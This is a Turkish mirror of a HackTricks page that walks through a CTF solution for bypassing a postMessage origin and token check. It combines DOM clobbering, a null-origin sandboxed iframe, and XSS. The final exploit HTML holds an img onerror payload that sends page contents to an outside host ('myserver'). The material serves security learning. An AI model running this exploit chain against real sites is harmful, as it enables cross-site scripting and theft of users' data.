mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
6.5 KiB
6.5 KiB
Bypassing SOP with Iframes - 2
AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
- Bir cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Ailesi'ni, özel NFT'lerimiz koleksiyonumuzu keşfedin.
- Resmi PEASS & HackTricks ürünlerini edinin.
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter'da beni takip edin 🐦@carlospolopm.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo'ya PR göndererek paylaşın.
SOP-2'de Iframe'ler
Bu zorluk için çözümde, @Strellic_ önceki bölümdeki benzer bir yöntem öneriyor. Hadi kontrol edelim.
Bu zorlukta saldırganın aşması gereken şey:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
Eğer yaparsa, innerHTML ile temizlenmeden sayfaya yazılacak HTML içeriği ile birlikte bir postmessage gönderebilir ve böylece XSS saldırısı gerçekleştirebilir.
İlk kontrolü atlatmanın yolu, window.calc.contentWindow'u undefined ve e.source'u null yapmaktır:
- window.calc.contentWindow aslında document.getElementById("calc")'tır. document.getElementById'i ile değiştirebilirsiniz (Sanitizer API -burada-, varsayılan durumunda DOM clobbering saldırılarına karşı koruma sağlamak için yapılandırılmamıştır).
- Bu nedenle, document.getElementById("calc")'i ile değiştirebilirsiniz. Böylece window.calc undefined olacaktır.
- Şimdi, e.source'un undefined veya null olması gerekmektedir (çünkü
==
yerine===
kullanıldığından, null == undefined True'dır). Bunu elde etmek "kolaydır". Bir iframe oluşturup ondan bir postMessage gönderir ve hemen ardından iframe'i kaldırırsanız, e.origin null olacaktır. Aşağıdaki kodu kontrol edin:
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
İkinci kontrolü atlamak için token
değerini null
olarak göndermek ve window.token
değerini undefined
yapmak gerekmektedir:
token
değerininull
olarak postMessage ile göndermek basittir.window.token
,document.cookie
kullanangetCookie
fonksiyonunu çağırır. Unutmayın kinull
kökenli sayfalardadocument.cookie
'ye erişim her zaman bir hata tetikler. Bu,window.token
'ınundefined
değerine sahip olmasını sağlar.
Son çözüm @terjanq tarafından aşağıdaki gibi olmuştur:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
- Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Ailesi'ni, özel NFT'lerimiz koleksiyonumuzu keşfedin.
- Resmi PEASS & HackTricks ürünlerini edinin.
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter'da beni takip edin 🐦@carlospolopm.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo'ya PR göndererek paylaşın.